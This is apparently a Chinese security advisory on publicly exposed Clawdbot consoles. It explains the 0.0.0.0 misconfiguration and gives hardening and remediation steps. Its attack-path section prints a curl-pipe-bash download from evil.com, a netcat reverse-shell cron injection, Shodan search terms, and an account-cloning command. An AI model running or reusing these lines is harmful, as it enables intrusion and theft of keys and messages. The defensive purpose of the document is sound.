事故概况
2026年1月，安全研究人员在 Shodan（互联网设备搜索引擎）上发现 923 个 Clawdbot 控制台暴露在公网，无需认证即可访问。
Shodan 搜索关键词：clawdbot control 或端口 18789
攻击者可以：
这不是理论风险，已有实际利用案例。
问题根源分析
配置错误：bind 0.0.0.0
Clawdbot 的控制台默认监听 localhost:18789。
但如果想从其他设备访问（手机、笔记本），需要改配置：
{
"gateway": {
"bind": "0.0.0.0", // 监听所有网络接口
"port": 18789
}
}
0.0.0.0 的含义：
- 在局域网环境：监听 192.168.x.x（局域网 IP）
- 在云服务器：监听公网 IP（直接暴露到互联网）
很多人没意识到这个差异。
文档误导
快速开始示例（README）：
clawdbot gateway –bind 0.0.0.0 –port 18789
虽然文档下方有警告：“生产环境必须启用认证”，但：
- 警告藏在第 115 行，很多人看不到
- 示例代码直接写 0.0.0.0，新手会直接复制
- 没有强制校验（启动时不报错）
云服务器的天然陷阱
本地电脑 vs 云服务器的区别：
本地电脑（有路由器）：
外网 → 路由器 NAT → 本地电脑 (192.168.x.x)
即使 bind 0.0.0.0，外网无法直接访问（除非配置端口转发）。
云服务器（直连公网）：
外网 → 云服务器公网 IP (123.45.67.89)
bind 0.0.0.0 = 直接暴露到全世界。
很多人以为"云服务器会自带防火墙"，实际上默认是全开的。
攻击面详解
攻击路径1：读取聊天记录
控制台 Web UI 地址：
http://<target-ip>:18789/
进入后可以看到：
- 所有频道的消息历史
- 联系人列表
- 文件传输记录
如果对话中涉及敏感信息（密码、账号、内部资料），全部泄露。
攻击路径2：提取 API Key
配置页面 /settings：
{
"providers": {
"anthropic": {
"apiKey": "sk-ant-xxx…xxx" // 明文显示
},
"openai": {
"apiKey": "sk-xxx…xxx"
}
},
"channels": {
"telegram": {
"botToken": "123456:ABCdef…"
}
}
}
拿到这些 key 后，攻击者可以：
- 消耗你的 API 配额（烧钱）
- 冒充你的 bot 发送钓鱼消息
- 如果 key 权限范围大，操作其他关联服务
攻击路径3：远程代码执行
Clawdbot 的 bash tool 允许执行 shell 命令。
攻击者可以通过控制台界面发送指令：
POST /api/agent/execute
{
"tool": "bash",
"command": "curl http://evil.com/backdoor.sh | bash"
}
或者直接修改配置，注入恶意 cron 任务：
{
"cron": {
"backdoor": {
"schedule": "* * * * *",
"action": "shell",
"command": "nc evil.com 4444 -e /bin/bash" // 反向 shell
}
}
}
攻击路径4：克隆 Signal 账号
Clawdbot 集成 Signal 时，会在 ~/.clawdbot/signal-cli/ 目录存储：
- 账号私钥
- Session 数据
- 联系人列表
攻击者下载这些文件，在自己的设备上运行：
signal-cli –config ./stolen-data link
就能「克隆」你的 Signal 账号，接收你的所有消息。
防护方案
方案1：只监听 localhost（推荐）
修改配置：
{
"gateway": {
"bind": "127.0.0.1"
}
}
需要远程访问时，使用 SSH 隧道：
ssh -L 18789:localhost:18789 user@server
方案2：启用强认证
如果必须绑定 0.0.0.0，启用密码保护：
{
"gateway": {
"bind": "0.0.0.0",
"auth": {
"enabled": true,
"method": "password",
"password": "your-strong-password-here"
}
}
}
访问控制台时需要输入密码。
更安全的方式：JWT Token
{
"gateway": {
"auth": {
"enabled": true,
"method": "jwt",
"secret": "your-secret-key",
"tokenExpiry": 86400 // 24小时过期
}
}
}
生成访问 token：
clawdbot auth generate-token –expires 24h
方案3：防火墙限制
即使启用了认证，也应该在防火墙层面限制访问：
# 只允许特定 IP 访问
sudo ufw allow from 203.0.113.0/24 to any port 18789
# 或只允许 VPN 网段
sudo ufw allow from 100.64.0.0/10 to any port 18789
方案4：反向代理
使用 Nginx/Caddy 加一层保护：
server {
listen 443 ssl;
server_name clawd.internal.company.com;
# IP 白名单
allow 10.0.0.0/8;
deny all;
# HTTP Basic Auth
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/.htpasswd;
# 速率限制
limit_req zone=one burst=5;
location / {
proxy_pass http://127.0.0.1:18789;
}
}
检测是否已暴露
自查命令
# 检查监听地址
netstat -tlnp | grep 18789
# 如果输出包含 0.0.0.0:18789，说明监听了所有接口
# 如果输出是 127.0.0.1:18789，安全
# 从外部测试（需要另一台机器）
curl -I http://<your-server-ip>:18789
# 如果返回 200 或 401，说明可以从外部访问
# 如果超时或拒绝连接，说明被防火墙拦截（安全）
使用 Shodan 检查
访问 https://www.shodan.io/
搜索你的服务器 IP：
ip:"123.45.67.89" port:18789
如果有结果，说明你已被 Shodan 索引（全世界可见）。
Clawdbot Doctor
官方在 2026年1月底加入了检测命令：
clawdbot doctor
输出示例：
✓ Node.js 版本: 22.1.0
✓ 数据库正常
✗ 控制台绑定到 0.0.0.0 但未启用认证 (高危)
✗ 防火墙未检测到 UFW/iptables 规则
⚠ API Key 存储为明文 (建议加密)
风险评分: 7/10 (高风险)
建议修复:
1. 修改 bind 为 127.0.0.1
2. 或启用 gateway.auth
3. 配置防火墙规则
定期运行这个命令，确保配置安全。
事后补救
如果你发现自己的控制台已经暴露：
步骤1：立即关闭服务
# 停止 Clawdbot
sudo systemctl stop clawdbot
# 或
docker-compose down
步骤2：轮换所有密钥
假设 API key 已泄露：
步骤3：检查异常活动
查看 API 使用记录：
# Anthropic Console → Usage → Recent requests
# 检查是否有陌生 IP 的调用
查看 Clawdbot 日志：
grep "incoming_message" ~/.clawdbot/logs/* | \\
awk '{print $NF}' | sort | uniq
# 如果出现陌生的 user_id，说明被入侵过
步骤4：修复配置后重启
按照上面的防护方案修复配置，然后重新启动。
步骤5：报告
如果发现明确的攻击行为，报告给：
- 云服务提供商（阿里云/AWS 安全团队）
- Clawdbot GitHub Security Advisory
教训
这次批量暴露事件的核心教训：
「能跑」和「安全地跑」之间有巨大鸿沟。
技术工具的门槛降低了（一条命令就能装 Clawdbot），但安全知识的门槛没变。
大量非技术背景的用户涌入，他们不懂防火墙、不懂端口、不懂 NAT。
但这不是他们的错。
真正的问题是：工具设计没有充分考虑"非专业用户"的场景。
理想的设计应该是"默认安全"：
- 启动时强制检查网络配置
- 如果 bind 0.0.0.0 且未启用认证，拒绝启动
- 或者至少弹出巨大的红字警告，让用户无法忽视
把安全责任推给用户，最后受伤的是整个生态。
